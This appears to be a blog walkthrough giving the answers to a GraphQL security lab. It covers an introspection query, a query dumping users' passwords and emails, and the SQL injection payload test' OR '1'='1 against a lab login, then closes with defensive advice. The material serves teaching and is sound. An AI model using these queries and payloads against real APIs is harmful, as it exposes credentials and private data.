🔒 GraphQL Security Lab - Complete Walkthrough
Note: This article contains the answers and step-by-step solutions if you're struggling with the lab. This is also my first medium article, so bear with any flaws you may find.
📌 Introduction
GraphQL is a powerful query language for APIs that allows clients to request exactly the data they need. However, like any technology, it comes with its own security considerations. In this lab, we'll explore common GraphQL vulnerabilities including introspection abuse and SQL injection attacks.
🎯 Lab Sections Overview
1: Introduction
No answer needed - Introduction to GraphQL security concepts.
2: Introduction
No answer needed - Additional context and setup information.
3: End Points
No answer needed - Understanding GraphQL endpoints.
4: Common Vulnerabilities
No answer needed - Overview of typical GraphQL security issues.
🔍 5: Introspection
First, let's understand what GraphQL introspection is:
Introspection is a feature that allows clients to query the schema itself. This means you can retrieve detailed information about all the types, fields, and relationships defined in the API. Introspection is an incredibly useful tool for developers because it enables them to explore an API's capabilities without needing external documentation.
Question 1: What is the missing query?
There are two queries after the introspection, namely User, and XXXX. What is the missing query?
Step 1: Capture the Login request with Burp Suite or check the "HTTP History" in Burp Suite.
Step 2: Send the request to Repeater.
Step 3: Change the query to the following introspection query:
{
"query": "query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
locations
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}"
}
Step 4: Send the request and the application response contains the entire web application schema.
Step 5: Visit http://graphql-kit.com/graphql-voyager/
Important: Be sure to remove the HTTPS header.
Follow the visualization steps to see the schema structure.
Question 2: Challenge! What is Bob's email?
Since you're able to disclose the column names, what is the email of the user named bob?
This is a challenge - an easy one!
Take the request you captured in Question 1 and change the query to:
{
"query": "\n query ($username: String!) {\n users(username: $username) {\n id\n username\n password\n email\n }\n }\n ",
"variables": {
"username": "bob"
}
}
💉 6: GraphQL SQL Injection
Navigate to http://graphql.thm/labs/lab2/
Step 1: Capture the login request with Burp Suite
- Username:
test - Password:
anything
Step 2: Look for the POST request and change the username in the query from "test" to "test'"
This will generate an error on the page, confirming the SQL injection vulnerability.
Step 3: Change the username to: test' OR '1'='1
In the response, you will get all the users' ID, password, and username from the database.
You'll find the flag in the response!
🛡️ 7: Securing GraphQL
No answer needed - This section covers best practices for securing GraphQL APIs:
- Disable Introspection in Production: While useful for development, introspection should be disabled in production environments to prevent information disclosure.
- Implement Query Depth Limiting: Prevent deeply nested queries that could cause performance issues.
- Use Parameterized Queries: Always use prepared statements and parameterized queries to prevent SQL injection.
- Authentication & Authorization: Implement proper authentication and field-level authorization.
- Rate Limiting: Implement rate limiting to prevent abuse and DoS attacks.
- Input Validation: Validate and sanitize all user inputs.
- Query Cost Analysis: Implement query complexity analysis to prevent resource exhaustion.
🎓 8: Conclusion
No answer needed - Summary of the lab.
In this lab, we explored two critical GraphQL security vulnerabilities:
- Introspection Abuse: Learned how unrestricted introspection can expose sensitive API structure and data.
- SQL Injection: Discovered how improper input validation in GraphQL queries can lead to SQL injection attacks.
These vulnerabilities highlight the importance of implementing proper security measures when building GraphQL APIs. Always remember to:
- Disable introspection in production
- Use parameterized queries
- Implement proper authentication and authorization
- Validate and sanitize all inputs
- Monitor and log GraphQL queries
Thanks for reading! 🎉
← Back to Blog